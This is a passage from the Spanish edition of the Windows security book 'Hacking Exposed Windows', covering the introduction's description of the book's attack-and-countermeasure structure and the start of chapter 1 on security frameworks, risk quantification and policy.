inadvertido depositada por exploradores Web, sólo por mencionar dos.
Como presidente de Microsoft, Bill Gates dijo en su memorando “Computación confiable”
de enero de 2002 (http://www.microsoft.com/mscorp/execmail/2002/07-18twc.mspx), “[la
seguridad]… realmente es un viaje más que un destino”. Microsoft ha hecho avances en el cami-
no. Pero el viaje está lejos de terminar.
Hackers en Windows: su guía para el resto del camino

Hackers en Windows es su guía para el largo camino que aún queda por recorrer. Adopta el méto-
do de dos pinzas popularizado en el popular libro Hacking Exposed, que ahora se encuentra en
su quinta edición.
En primer lugar, catalogamos las mayores amenazas que enfrentará su despliegue de Win-
dows, y explicaremos con gran detalle cómo funcionan. ¿Cómo sabemos que son las mayores
amenazas? Porque hemos sido contratados por las empresas más grandes del mundo para entrar
en sus redes, servidores, productos y servicios de Windows, y usamos las mismas herramientas
y técnicas a diario en nuestro trabajo. Y lo hemos hecho durante casi una década, investigando
los ataques más recientemente publicados, desarrollando nuestras propias herramientas y téc-
nicas y combinándolas en lo que consideramos la metodología más efectiva de penetración de
la seguridad de Windows en existencia.
Una vez que hemos llamado su atención al mostrarle el daño que puede hacerse, le indica-
mos cómo prevenir cada uno de los ataques. Ejecutar Windows sin comprender la información
de este libro es equivalente a conducir un auto sin cinturón de seguridad (por un camino resba-
ladizo, sobre un monstruoso abismo, sin frenos y con el acelerador a fondo).
Adopte y extienda el método de la serie

Por todas sus similitudes, Hackers en Windows también es distinto, en varias maneras, de la serie
original de la que se desprende. Obviamente, está concentrado en una plataforma, en oposición
al método multidisciplinario de la serie. Mientras que en la serie se hace una revisión panorámica
de la seguridad en Windows, en este libro se revisan algunas capas para explorar el funciona-
miento en el nivel de bits de los ataques y las contramedidas relacionados con la seguridad en
Windows, revelando pormenores que harán voltear hasta a los administradores de sistemas Win-
dows más avezados. Se trata de un análisis a profundidad que se aparta de la serie original,
donde la carga de explorar muchas otras plataformas computacionales obliga al tratamiento su-
perficial de algunos temas.

introducción xxiii
En todo este libro, usamos la palabra Windows para referirnos al sistema basado en la plataforma
NOTA
“Nueva Tecnología” (NT) de Windows, incluidos NT 3.x-4.x, Windows 2000, Windows XP, Windows
Server 2003, Vista y Windows Server 2008. En contraste, aludiremos al linaje de Microsoft DOS/
Windows 1.x/3.x/9x/Me como la “familia DOS”.
En este libro, no encontrará aspecto alguno de la seguridad de Windows tratado superficial-

mente. No sólo abarca toda la información y las características importantes de la serie original,
sino que la extiende de manera importante. Aquí encontrará todo el conocimiento secreto nece-
sario para cerrar la brecha de la seguridad de Windows para bien, desde la arquitectura básica
del sistema hasta las claves no documentadas del Registro que las aplican.
cÓMo estÁ orGANIZAdo este lIBro

Este libro es la suma de sus partes, las que se describen abajo desde el nivel organizacional más
amplio al más detallado.
capítulos: la metodología de la serie

Los capítulos de este libro siguen un plan de ataque definido. Ese plan es la metodología del
hacker malicioso, adaptada de la serie original:
• Recolección de información
• Rastreo
• Enumeración
• Explotación
• Saqueo
• Sigilo
Esta estructura forma la columna vertebral de este libro, porque sin una metodología, esto no
sería más que un montón de información sin contexto ni significado.
Hemos envuelto este esquema básico con los siguientes componentes adicionales:
• Revisión de la arquitectura de seguridad de Windows

• Ataque a SQL Server
• Ataque a clientes de Internet
• Ataques físicos
• Características y herramientas de seguridad de Windows
Modularidad, organización y accesibilidad

Evidentemente, este libro pude leerse de principio a fin para lograr un retrato completo de las
pruebas de penetración de Windows. Sin embargo, como toda la serie, hemos tratado de que
cada sección de cada capítulo destaque por sí sola, de modo que el libro puede digerirse en par-
tes modulares, adecuadas para los calendarios frenéticos de nuestra audiencia.
Más aún, nos hemos adherido estrictamente al estilo de escritura claro, legible y conciso al
que los lectores respondieron de manera abrumadora en el libro original de la serie, Hackers.

xxiv Hackers en Windows
Sabemos que está ocupado y que necesita ir al grano sin andarse por las ramas o usar termino-
logía innecesaria. Como alguna vez comentó un lector de la serie: “¡Se lee como si fuera una fic-
ción, y en verdad aterra!”.
Consideramos que estará tan satisfecho leyendo de principio a fin como haciéndolo parte
por parte, pero está construido para resistir cualquier tratamiento.
resúmenes y referencias y lecturas adicionales de capítulo

En un esfuerzo por mejorar la organización de este libro, hemos incluido las características es-
tándar de las ediciones anteriores al final de cada capítulo: un “Resumen” y la sección “Referen-
cias y lecturas adicionales”.
El “Resumen” es exactamente lo que debe ser, una breve sinopsis de los principales concep-
tos cubiertos en el capítulo, con énfasis en las contramedidas. Esperaríamos que al leer el “Resu-
men” de cada capítulo, sabrá cómo endurecer un sistema Windows ante casi cualquier forma de
ataque.
Las “Referencias y lecturas adicionales” incluyen URL, información de publicaciones y cual-
quier otro detalle necesario para localizar todos y cada uno de los elementos a los que se hace
referencia en el capítulo, incluidos los boletines de seguridad de Microsoft, los paquetes de ser-
vicio, las correcciones, los artículos de la base de datos de conocimientos, las advertencias de
terceros, las herramientas comerciales y de freeware, los incidentes de hackeo de Windows en
las noticias y las lecturas generales que amplían o expanden la información presentada en el ca-
pítulo. Por tanto, pocos URL se encontrarán dentro del texto de los propios capítulos (si necesita
encontrar algo, vaya al final del capítulo y estará allí). Esperamos que esta consolidación de re-
ferencias externas en un contenedor mejore la manera general en que disfruta el libro.
Apéndice A: la lista de verificación para el endurecimiento de Windows

Tomamos todas las contramedidas analizadas en el libro, las llevamos a su esencia, las ordena-
mos de manera apropiada para construir un sistema desde cero y las pusimos todas bajo un te-
cho en el apéndice A. Sí, hay por allí una gran cantidad de listas de seguridad de Windows, pero
consideramos que la nuestra representa el conjunto de recomendaciones más realista, terrenal
pero sólido, que encontrará.
los BloQues de coNstruccIÓN BÁsIcos:

AtAQues Y coNtrAMedIdAs
Al igual que con toda la serie, los bloques de construcción básicos de este libro son los ataques y
las contramedidas analizadas en cada capítulo.
Los ataques se resaltan aquí, como se hace en toda la serie.
Éste es un icono de ataque

Al resaltar así los ataques se facilita la identificación de las herramientas y metodologías de pe-
netración específicas y le lleva directo a la información que necesita para convencer a la admi-
nistración que financie su nueva iniciativa de seguridad.
Cada ataque también está acompañado de una clasificación de riesgo, calificada exactamen-
te como en la serie:

introducción xxv
Popularidad: La frecuencia de uso en su estado natural contra objetivos

reales. 1 indica que se usa en raras ocasiones y 10 que su uso
es amplio.
Simplicidad: El grado de habilidad necesario para ejecutar el ataque; 10
es poco o nula habilidad y 1 representa al programador de
seguridad con más experiencia.
Impacto: El posible daño causado por la ejecución exitosa del ataque;
1 representa la revelación de información trivial acerca del
destino y 10 el compromiso de la cuenta de superusuario o
equivalente.
Clasificación de riesgo: Los tres valores anteriores se promedian para dar la
clasificación general de riesgo y se redondea al número
entero superior.
Las contramedidas, a su vez, reciben sus propios adornos visuales:
Éste es un icono de contramedida

Estas secciones suelen seguir a la descripción de cada “ataque” y en ellas se analizan los contro-
les preventivos, de detección y reactivos que puede aplicar para mitigar la explotación recién
descrita. Muchas veces haremos referencia al boletín de seguridad de Microsoft que resulta re-
levante para el ataque. Los boletines de seguridad de Microsoft incluyen información técnica
relacionada con el problema, soluciones recomendadas, parches de software, o una combinación
de éstos. El número del boletín puede usarse para encontrar el propio boletín en Web:
http://www.microsoft.com/technet/security/bulletin/MS##-###.asp
donde MS##-### representa el número real del boletín. Por ejemplo, MS07-039 sería el bole-
tín 39 de 2007.
En ocasiones usaremos también el ID de Bugtraq, o BID, que alude al número de seguimien-
to dado a cada vulnerabilidad por la famosa lista de correos y base de datos de vulnerabilidades
de Securityfocus.com. Esto permite que se busque la lista de Bugtraq directamente mediante el
siguiente URL:
http://www.securityfocus.com/bid/####
donde #### representa el BID (por ejemplo, 1578).

También utilizamos la notación de Vulnerabilidades y exposiciones comunes (CVE, Com-
mon Vulnerabilities and Exposures, http://cve.mitre.org), para hacer referencia a vulnerabilida-
des. La notación CVE es similar a la CVE-####-$$$$ de Microsoft, donde el primer conjunto de
cuatro dígitos es el año y el segundo es el identificador numérico de la vulnerabilidad. Por ejem-
plo, CVE-2007-3826 es la vulnerabilidad 3 286 catalogada por CVE en el año 2007.
Sugerencia En todo este libro, también usamos un sistema común para hacer referencia a los artículos de la
base de datos de conocimientos de Microsoft (KB, Knowledge Base): http://support.microsoft.com/
?kbid=123456, donde 123456 representa el ID de seis dígitos del artículo.

xxvi Hackers en Windows
Otras ayudas visuales

También usamos un uso prolífico de los iconos mejorados visualmente
NOTA
Sugerencia
precaución
Para destacar aquellos pequeños detalles que suelen pasarse por alto.
recursos Y HerrAMIeNtAs eN lÍNeA

La seguridad en Windows es una disciplina que está cambiando rápidamente y reconocemos
que la palabra impresa a menudo no es el medio más adecuado para mantenerse al día con todos
los nuevos acontecimientos en esta área de investigación.
Por tanto, hemos implementado un sitio en la Red (en inglés) que da seguimiento a nueva
información relevante sobre temas analizados en este libro, junto con erratas y una compilación
de las herramientas de dominio público, secuencias de comandos y diccionarios que hemos cu-
bierto en todo el libro. La dirección de ese sitio es:
http://www.winhackingexposed.com
También proporciona un foro para hablar directamente con el principal autor mediante co-
rreo electrónico:
Joel@winhackingexposed.com
Esperamos que visite el sitio con frecuencia mientras recorre los capítulos para ver cualquier
material actualizado, obtener fácil acceso a las herramientas que mencionamos y mantenerse ac-
tualizado en el siempre cambiante rostro de la seguridad en Windows. De otra manera, nunca
sabrá cuáles nuevos desarrollos pueden poner en peligro su red antes de que se pueda defender
de ellos.
uNA PAlABrA FINAl A Nuestros lectores

Hay mucho trabajo hecho por las noches y muchos teclados desgastados en este libro, sincera-
mente esperamos que toda nuestra investigación y nuestros textos se traduzcan en una importan-
te ahorro de tiempo para quienes son responsables de la seguridad en Windows. Consideramos
que hemos tomado una decisión valiente y que nos hemos anticipado para desplegar el sistema
operativo insignia de Microsoft (pero como descubrirá en estas páginas, su trabajo sólo empieza
en el momento en que rompe la envoltura). No se alarme: empiece a recorrer las páginas y sién-
tase seguro de que cuando la siguiente calamidad en la seguridad de Windows llegue a las pri-
meras planas, usted ni siquiera parpadeará.
–Joel

Hacking / Hacking Exposed Windows: Windows Security Secrets and Solutions, Third Edition / Scambray, Andrews / 149 426-X
capítulo 1
e n t o s
a m
fund r i d a d
s e g u
de n a d a
l a c i o
re a c i ó n
i n f o r m
c o n
01_SCAMBRAY_01.indd 1 7/28/08 7:16:13 PM

Hackers en Windows
E
s difícil hablar de cualquier sistema en el vacío, sobre todo de un sistema que está des-
plegado de manera tan amplia y que juega tantos roles como Windows, en todas sus va-
riedades. En este capítulo se presenta una introducción a algunas posturas defensivas de
seguridad en los sistemas de información para que comprenda los elementos específicos
de Windows y esté mejor informado.
UN MARCO CONCEPTUAL PARA

LA SEGURIDAD DE LAS OPERACIONES
Debido a su completa ubicuidad, es probable que muchas personas, procesos y otras tecnologías
entren en contacto con el sistema de operación de Windows durante el curso de su ciclo de tra-
bajo. Por tanto, cualquier análisis sobre la seguridad en Windows estaría incompleto si no se em-
pieza con un reconocimiento de que sólo es una pieza de un rompecabezas mucho más amplio.
Por supuesto, aquí es donde surgen los desafíos. En este libro se cubren los pormenores de la
seguridad en Windows, un universo finito de medidas que pueden tomarse para evitar que pa-
sen cosas malas. Sin embargo, como lo sabe cualquier profesional experimentado de la tecnología
de la información, se necesita ir mucho más allá de los pormenores para tener una buena postu-
ra de seguridad. ¿Cuáles son algunas de las consideraciones no técnicas relacionadas con la se-
guridad? Aquí tal vez necesite escribirse otro libro, pero trataremos de delinear algunas de las
piezas más importantes en el análisis siguiente para reducir al mínimo la confusión, de modo que
usted se pueda concentrar en lo sustancial en todo el resto del libro: la seguridad en Windows.
En la figura 1-1 se ilustra un marco conceptual para la seguridad de las operaciones dentro
de una organización típica. A primera vista, lo más importante que hay que notar en este marco
es que es cíclico. Acomoda el modelo a la noción de seguridad como un viaje, no como un desti-
no. Todo el tiempo están brotando nuevas amenazas a la seguridad (simplemente revise cual-
quiera de las populares listas de correo relacionadas con el tema, como Bugtraq, para verlo) y,
por tanto, cualquier plan para atender esas amenazas debe ser progresivo, o cíclico.
Los cuatro elementos de la “rueda de la seguridad” que se muestran en la figura 1-1 son
Plan, Prevención, Detección y Respuesta. Aunque suele criticarse a estos marcos conceptuales
porque su filosofía “aplicable a todo” no se acomoda a las estructuras o culturas de organizacio-
nes establecidas, hemos encontrado que estos cuatro simples bloques de construcción son los
que tienen más resonancia con clientes a los que se brinda asesoría y que tienen “tiendas” de
tecnología de la información de todos los tamaños, además de que suelen abarcar todos los com-
ponentes de sus esfuerzos de seguridad. Hablaremos de cada uno de ellos en su momento.
Plan
Respuesta Prevención
Detección
Figura 1-1 Marco conceptual para seguridad operacional
01_SCAMBRAY_01.indd 2 7/28/08 7:16:15 PM

Capítulo : Fundamentos de seguridad relacionada con información
Plan
La seguridad es un concepto desafiante, sobre todo cuando se relaciona con la tecnología. Cuan-
do piense en la manera de proporcionar seguridad, es necesario que empiece por plantearse las
siguientes preguntas:
• ¿Cuál activo estoy tratando de asegurar?
• ¿Cuáles son los requisitos de seguridad del activo?
• ¿Cuáles son los riesgos singulares relacionados con esos requisitos de seguridad del
activo?
• ¿Cómo asigno prioridades y atiendo de manera más eficiente esos riesgos (sobre todo
los que tienen alto impacto, como los requisitos para cumplir con la industria y el
marco regulatorio)?
Estas preguntas describen un concepto de seguridad basado en riesgos, popularizado por
muchos practicantes modernos. Entre las metodologías bien conocidas de seguridad basadas en
riesgo se incluye el método de evaluación de amenazas, activos y vulnerabilidades operacional-
mente críticos (OCTAVE, Operationally Critical Threat, Asset, and Vulnerability Evaluation) de
CERT. Microsoft también promueve su propio método para administración de riesgos en esce-
narios de desarrollo de software, a los que denominan modelado de amenazas. Aquí articularemos
una adaptación muy simplificada de las mejores prácticas de administración de riesgos comu-
nes y recomendamos a los lectores interesados en conocer más detalles que consulten la sección
“Referencias y lecturas adicionales”, al final de este capítulo.
Empecemos con la determinación de los activos. Este ejercicio no es tan sencillo como podría
pensarse (los activos pueden ser el hardware del servidor, la información en una base de datos o
incluso algunas prácticas de fabricación con propietario). En realidad, a menudo resulta sor-
prendente que los clientes de asesoría no logren, en ocasiones, proporcionar una respuesta cohe-
rente a la simple pregunta “¿Cuáles son sus activos más importantes?”. Para empezar, por lo
general resulta útil hacer más estrecho el alcance de esta pregunta, tal vez limitándolo a los acti-
vos de información digital que se consideran valiosos para la organización. Por supuesto, los
vehículos físicos en que viajan los activos digitales (sean servidores de computadora, unidades
USB, monitores de kiosco o impresos en papel) también tienen una importancia fundamental
para la seguridad, pero es más fácil tomar en consideración esas relaciones más adelante, en el
proceso de evaluación de riesgos. También recomendamos posponer el análisis de los activos
menos tangibles, como la reputación, hasta que se haya adquirido primero alguna práctica en el
juego de la administración del riesgo.
Entre las categorías de activos de información digital que se deben tomar en cuenta se inclu-
yen credenciales (como contraseñas y claves criptográficas privadas), información para identifi-
cación personal (recuerde que la confidencialidad depende de que se otorgue consentimiento
para usos específicos), información o instrumentos financieros líquidos (como datos de tarjetas
de crédito), información de propietario (incluidos resultados financieros no informados o me-
todologías de trabajo) y la disponibilidad de capacidad productiva (incluido el acceso a sistemas
de operación, electricidad, etcétera).
Una vez que haya determinado cuáles activos está tratando de asegurar, su siguiente paso con-
siste en identificar los requisitos de seguridad de cada activo, si los hay. Al igual que con los acti-
vos, es muy útil clasificar los requisitos de seguridad en sus categorías más genéricas. Casi todas
las definiciones modernas de seguridad de los sistemas de información se centran alrededor de la
protección de la confidencialidad, la integridad y la disponibilidad (CIA, Confidenciality, Integrity
and Availability) de los activos importantes, de modo que esto es lo que se recomienda. Podría
01_SCAMBRAY_01.indd 3 7/28/08 7:16:16 PM

Hackers en Windows
considerarse otra A, para la Accountability (la responsabilidad o rendición de cuentas), con el fin de
capturar la noción de que el sistema también debe registrar la actividad de manera confiable para que
pueda examinarse o auditarse posteriormente (por ejemplo, mediante un registro de auditoría).
Sugerencia En este punto, podría considerar el agrupamiento de activos en clases con base en la confidencialidad
percibida por la organización. Esto puede arrojar un sistema de directivas y controles de apoyo para
cada tipo de activo. Por ejemplo, los activos de Alta Confidencialidad, como la información de tarjetas
de crédito, tal vez requieran cifrado cuando se almacenan o transmiten, mientras que los activos de
Baja Confidencialidad no lo requieran. Aquí, una vez más, deben tomarse en consideración los
requisitos de cumplimiento, como en el caso de los datos de tarjetas de crédito, que probablemente
caen bajo un estándar de seguridad de datos de la industria del pago con tarjeta o PCI DSS (Payment
Card Industry Data Security Standard).
Una vez establecidos los activos y los requisitos de seguridad, es hora de tomar en cuenta los
riesgos que enfrenta cada activo. A este proceso suele denominársele evaluación de riesgos. Exis-
ten varios métodos para la evaluación de riesgos, pero uno que recomendamos es el menos for-
mal: elaborar un diagrama lógico del sistema en cuestión, descomponerlo en las partes que lo
integran, prestar atención a los límites y las interfaces entre cada componente, además de los ac-
tivos clave, y hacer una lluvia de ideas sobre las posibles amenazas a la CIAA.
Sugerencia Entre algunos métodos más sistemáticos (pero no necesariamente superiores) para conceptualizar
amenazas se incluyen los árboles de ataques y la metodología de modelado de amenazas de
Microsoft. Consulte la sección “Referencias y lecturas adicionales”.
Cuantificación de riesgos
Una vez que haya obtenido una lista de amenazas, debe asignarles prioridades de manera sis-
temática de modo que puedan atenderse con eficiencia. Comprometer recursos excesivos pa-
ra mitigar amenazas de bajo riesgo puede ser tan dañino para una organización como mitigar
con lentitud las amenazas de alto riesgo, de modo que es importante dar este paso de manera
correcta.
Pueden usarse numerosos sistemas para cuantificar y clasificar los riesgos de seguridad. Un
método clásico y sencillo para la cuantificación de riesgos se ilustra con la siguiente fórmula:
Riesgo = Impacto × Probabilidad
Se trata de un sistema fácil de comprender, que incluso permite una mayor colaboración en-
tre intereses de trabajo y de seguridad dentro de la organización. Por ejemplo, la cuantificación
del impacto en los negocios podría delegarse a la oficina del director de finanzas y la estima-
ción de la probabilidad podría asignarse al director de seguridad, o sus equivalentes. Esto pro-
duce una división inteligente del trabajo y la responsabilidad cuando se trata de la administración
de riesgo para una organización en general.
En este sistema, el impacto suele expresarse en términos monetarios y la probabilidad como un
porcentaje entre 0 y 100%. Por ejemplo, una vulnerabilidad con un impacto de 100 000 dólares y una
probabilidad de 30% tiene una clasificación de riesgo de 30 000 dólares (100 000 dólares por 0.30).
Los estimados económicos como éste suelen llamar la atención de la administración y constituyen
una manera más práctica de cuantificar el riesgo. La ecuación puede incluir aún más componentes,
al dividir Impacto en (Activos × Amenazas) y Probabilidad en (Vulnerabilidades × Mitigación).
01_SCAMBRAY_01.indd 4 7/28/08 7:16:16 PM

Sugerencia
Hemos visto modelos de riesgo que factorizan aún más los componentes. Por ejemplo, si el com-
ponente A del sistema tiene 3 vulnerabilidades de alto riesgo, pero el componente A está conectado
a otro sistema en una configuración completamente confiable que tiene 12 vulnerabilidades, podría
calcular una superficie de vulnerabilidad total de (3 + 12)2, o el cuadrado de la suma de las
vulnerabilidades.
Otros métodos populares de cuantificación de riesgos incluyen el sistema DREAD (Damage

potential, Reproducibility, Exploitability, Affected users, and Discoverability: daño posible, ca-
pacidad de reproducción y de explotación, usuarios afectados y posibilidad de descubrirlo) de
Microsoft, además del sistema simplificado que usa el centro de respuesta de seguridad de Mi-
crosoft en sus clasificaciones de gravedad del boletín de seguridad. El sistema de clasificación de
vulnerabilidades comunes (CVSS, Common Vulnerability Scoring System) es, en cierta manera,
más complejo pero tiene la posibilidad de ser una representación más exacta de los riesgos de
vulnerabilidad de software comunes. (A nosotros en realidad nos gusta el método de división
entre componentes que produce una clasificación base de riesgo de seguridad con factores tem-
porales y ambientales únicos para la aplicación). Al final de este capítulo, en la sección “Referen-
cias y lecturas adicionales”, se encontrarán vínculos con mayor información acerca de todos
estos sistemas.
Le recomendamos que considere cada uno de estos métodos y determine cuál es el adecuado
para usted y su organización. Tal vez incluso haya desarrollado sus propios métodos, basados en
conceptos obtenidos de cada uno de éstos, o tal vez haya construido uno desde cero. La cuantifi-
cación de riesgos puede ser muy subjetiva y es improbable que alguna vez se encuentre un siste-
ma que dé como resultado un consenso, aún entre pocas personas. Sólo recuerde algo que es
importante: aplique cualquier sistema elegido de manera consistente, de modo que esa clasifica-
ción relativa de amenazas sea consistente. Después de todo, ése es el objetivo: decidir cuáles ame-
nazas se atenderán con mayor prioridad. También se ha encontrado que es muy útil establecer un
nivel de umbral de riesgo, o “barra de riesgos”, sobre el cual debe mitigarse una amenaza deter-
minada. Debe haber un acuerdo más amplio sobre dónde cae este umbral antes de que se comple-
te el proceso de clasificación. Esto crea consistencia entre evaluaciones y hace más difícil jugar con
el sistema al simplemente mover el umbral. (También tiende a ahuyentar a las personas que de
manera deliberada establecen clasificaciones bajas para ubicarse debajo de la barra de riesgos).
Directiva
Evidentemente, las medidas óptimas que hay que tomar en relación con los riesgos que están
documentados durante el proceso de evaluación son mitigarlos o eliminarlos (aunque existen
otras opciones, incluida la transferencia del riesgo mediante la compra de seguros, o su acepta-
ción tal como están). La determinación del plan de mitigación para estos riesgos es el meollo de
la fase de planeación: el desarrollo de una directiva.
La directiva es central para la seguridad; sin ella, la seguridad es imposible. ¿Cómo puede
considerarse algo como una violación de seguridad sin una directiva para definirla? La directiva
define la manera en que se mitigan de manera continua los riesgos a los activos. Por tanto, debe
basarse firmemente en el proceso de evaluación de riesgos.
Una vez dicho esto, una directiva de seguridad organizacional fuerte empieza con una
buena plantilla. Recomendamos el marco conceptual de la directiva ISO 17799, que se ha vuelto
muy popular como marco para directiva de seguridad, desde que se convirtió en un estándar
01_SCAMBRAY_01.indd 5 7/28/08 7:16:16 PM

Hackers en Windows
internacional. ISO 17799 se ha incorporado en los nuevos estándares de la serie ISO 27000, que
abarca un rango de estándares y prácticas de administración de seguridad de la información (de
manera similar a la serie ISO 9000 de estándares de aseguramiento de calidad, que tienen un uso
extendido). ISO 27001 incluye un marco conceptual de controles para la implementación y me-
dición del cumplimiento con los estándares de la directiva. Entre otros marcos conceptuales po-
pulares de control se incluyen CobiT, COSO e ITIL. (Consulte la sección “Referencias y lecturas
adicionales” para conocer vínculos con información sobre estos estándares).
Otro gran dividendo que surge del hecho de basar su directiva en estándares ampliamente
aceptados como ISO 17799 es la agilidad mejorada para satisfacer regímenes impositivos en evo-
lución como éstos:
• Acta Sarbanes-Oxley de 2002 (SOX), que obliga a las empresas de Estados Unidos
de manera pública a implementar, evaluar y reportar controles internos sobre sus
informes, operaciones y activos financieros.
• Basel II: la convergencia internacional de medidas de capital y estándares de capital: un
marco conceptual revisado que analiza estándares internacionales para medición de la
adecuación del capital de un banco con base en el riesgo medido (incluido el riesgo
operacional, como seguridad del sistema de información).
• Estándar de seguridad de datos de la industria del pago con tarjeta (PCI DSS, Payment
Card Industry Data Security Standard) para cualquier entidad que procesa, almacena
o transmite información de tarjetas de crédito de emisores importantes, como Visa,
MasterCard y American Express.
• Acta de Portabilidad y responsabilidad de seguros médicos de 1996 (HIPAA,
Health Insurance Portability and Accountability Act), que especifica una serie de
procedimientos administrativos, técnicos y físicos de seguridad que deben usar las
entidades cubiertas para que aseguren la confidencialidad de la información protegida
electrónica relacionada con la salud.
• Acta Gramm-Leach-Bliley de 1999 (GLBA) que regula la información financiera
personal de los consumidores de Estados Unidos mantenida por instituciones
financieras.
• Leyes de notificación de violaciones de seguridad que evolucionan en muchos estados
de la Unión Americana hoy (como la SB 1386 de California).
Aunque la organización a la que pertenezca no esté cubierta por una de estas regulaciones
(¡y le apostamos a que lo está de alguna manera!), tal vez sólo sea cuestión de tiempo antes de
que necesite cumplir con sus estatutos, de una forma u otra. Aunque considere que la organiza-
ción debe satisfacer alguna especie de requisitos impositivos obligatorios, nunca se pondrá el
énfasis suficiente en la eficiencia que se obtendrá al volver a usar un marco conceptual de pro-
grama de seguridad para cumplir con la sopa de letras en evolución de los requisitos impositi-
vos que enfrentan las empresas modernas de hoy en día. Y tenemos la experiencia para probarlo,
porque hemos diseñado e implementado personalmente una directiva de seguridad basada en
ISO 17799 que pasó con éxito las auditorías de cumplimiento para SOX, GLBA, PCI y otras ac-
ciones de imposición regulatoria de una vez del gobierno de Estados Unidos.
Aunque nunca está de más destacar la importancia de satisfacer los requisitos en evolución,
tal vez a las organizaciones más pequeñas, con alcances más estrechos, les resulte pesado pla-
near e implementar los estándares ISO y los marcos conceptuales de soporte. En el caso de orga-
nizaciones de todos tamaños, una colección buena (pero costosa) de directivas de seguridad
01_SCAMBRAY_01.indd 6 7/28/08 7:16:17 PM

preescritas es la Information Security Policies Made Easy, de Charles Cresson Woods (Information
Shield, 2005). También se recomienda la lectura de las RFC 2196 y 2504, “Site Security Hand-
book” y “User Handbook”, respectivamente, para obtener buenas ideas sobre directivas.
Una búsqueda simple en Internet de “directivas de seguridad de información” también pro-
porcionará buenos ejemplos, como las de muchas instituciones educativas que publican sus di-
rectivas en línea. Un análisis del desarrollo y el mantenimiento de directivas de seguridad para
organizaciones está fuera del alcance de este libro. Sin embargo, he aquí algunas sugerencias:
Comprensión del negocio Los practicantes de la seguridad deben comprender primero el negocio
que pretenden ayudar a proteger; la comprensión de las operaciones de trabajo crea el vocabu-
lario para permitir una conversación constructiva y lleva a ser percibido como una persona que
permite que pasen las cosas, en lugar de ser un estorbo. De acuerdo con nuestra experiencia, los
practicantes de la seguridad necesitan, por lo general, madurar más en este departamento, a fin
de presentar los riesgos en la seguridad de la información en los términos apropiados del nego-
cio. Sabemos por experiencia que concentrarse en los métodos de colaboración para medir el
riesgo e implementar controles medibles es siempre una manera más inteligente de obtener re-
cursos de los líderes de los negocios.
Convencimiento cultural Convenza a la administración de que lea y apoye por completo la direc-
tiva. La administración es la que la impone finalmente, y si los directivos no creen que es correc-
ta, pasará momentos extraordinariamente difíciles logrando que cualquier persona de la organi-
zación la siga. Considere la creación de un cuerpo de gobierno que incluya accionistas clave de
la organización, con responsabilidades definidas, para que la directiva evolucione y se imponga
a largo plazo.
Al mismo tiempo, reconozca que el convencimiento de los ejecutivos sólo es útil si a éstos los
escucha el personal de la compañía, lo que no siempre es el caso, de acuerdo con nuestra expe-
riencia. En cualquier medida, siempre es necesario algún nivel de trabajo de convencimiento
entre los trabajadores de base, sin importar cuán firmemente respalde la administración la direc-
tiva. De otra manera, no será adoptada en la extensión que se requiere para hacer cambios
importantes a la seguridad. Debe asegurarse de predicar el programa de seguridad en todos los
niveles de la organización y aplicar un programa piloto para asegurar el convencimiento am-
plio, además de que será percibido como un mecanismo razonable y práctico a fin de mejorar la
postura de seguridad de la organización (y por tanto, las ganancias). Esto mejorará en gran
medida las posibilidades de convertirse en parte de la cultura en lugar de ser sólo un proceso
molesto del que todos se burlan (piense en los reportes de TPS en la película Office Space).
Método de varios niveles Elabore un borrador de la directiva real como una declaración de alto
nivel de principios guía e intenciones, y luego cree estándares de implementación y procedi-
mientos de operación detallados que apoyen los mandatos de la directiva. Este método de varios
niveles, jerárquico, crea una modularidad que facilita el mantenimiento de la directiva a largo
plazo, al proporcionar flexibilidad para cambiar los detalles de la implementación sin necesidad
de un ciclo completo de revisión y cambio de la directiva.
Proceso para excepciones, cambios La única constante es el cambio y eso también es válido para
las directivas de seguridad. Espere que la organización haga solicitudes de excepciones a la di-
rectiva y quiera cambiar ésta a intervalos regulares. Usted necesitará crear un proceso para que
sea posible esto. Recomendamos al menos revisiones anuales y también un proceso especial
para excepciones y cambios urgentes.
01_SCAMBRAY_01.indd 7 7/28/08 7:16:17 PM

Hackers en Windows
Conciencia Hablaremos acerca de la capacitación y la educación en la siguiente sección de este

capítulo, cuando abordemos la fase de Prevención de la rueda de la seguridad, pero es funda-
mental asegurarse de que todos los integrantes de una organización estén conscientes de la di-
rectiva y comprendan sus tesis básicas. También hemos encontrado que cuando se realizan se-
siones regulares de capacitación para tomar conciencia e interviene en ellas todo el personal
suelen generarse estupendas retroalimentaciones prácticas, lo que lleva a un programa de se-
guridad más fuerte a largo plazo.
Una vez definida e implementada una directiva, podemos dar vuelta a la rueda de la segu-
ridad, ilustrada en la figura 1-1.
Prevención
La necesidad de establecer varios controles preventivos probablemente se volverá obvia du-
rante el proceso de evaluación de riesgos y desarrollo de la directiva. En este libro se describi-
rán contramedidas técnicas específicas para todos los ataques que analizaremos pero, ¿qué tipo
de medidas proactivas más amplias deben aplicarse para mitigar los riesgos, imponer la directi-
va de seguridad, disuadir a los atacantes y promover una buena higiene de seguridad? Deben
tomarse en consideración los siguientes elementos:
• Educación y capacitación
• Comunicaciones
• Operaciones de seguridad
• Arquitectura de seguridad
La educación y la capacitación son las maneras más obvias de escalar un esfuerzo de seguri-
dad en toda una organización. Las comunicaciones pueden apoyar este esfuerzo al programar
actualizaciones regulares para el personal de línea y la administración superior, además de ha-
cer que la información fluya entre el resto de la organización y el grupo de seguridad. (Recuerde
que no existe la seguridad en el vacío).
Entre las operaciones de seguridad se incluyen las tareas generales de seguridad, como
administración de parches de seguridad, protección contra el malware, control de acceso
(tanto físico como lógico), control de ingresos y egresos en la red, monitoreo y respuesta de se-
guridad y administración de cuentas y grupos de seguridad. En este libro se tratarán las mejores
prácticas en todas estas áreas.
Por último, y tal vez lo que es más importante, cierta parte de la organización de seguridad
necesita adoptar una perspectiva proactiva, que mire hacia delante. El trabajo de un arquitecto
de seguridad es particularmente relevante para el desarrollo de aplicaciones, que debe seguir
estándares y directrices estrictos con el fin de evitar la perpetuación de los muchos errores que
ocurren en forma inevitable en el proceso de desarrollo de software. Además, este arquitec-
to puede realizar evaluaciones regulares de la arquitectura de seguridad del software, la red y
la plataforma, midiéndolos y comparándolos contra estándares y tecnologías en evolución para
asegurarse que la organización mantiene el paso de los avances más recientes en seguridad.
Detección
Un documento con la directiva es estupendo pero, ¿qué tan buena será la directiva si no se pue-
de saber si alguien la está siguiendo? Mucho del material de este libro se concentra en la parte
01_SCAMBRAY_01.indd 8 7/28/08 7:16:17 PM

de la Detección de la rueda de la seguridad, porque localizar e identificar vulnerabilidades de

seguridad es una parte fundamental de la detección de violaciones a la directiva de seguridad.
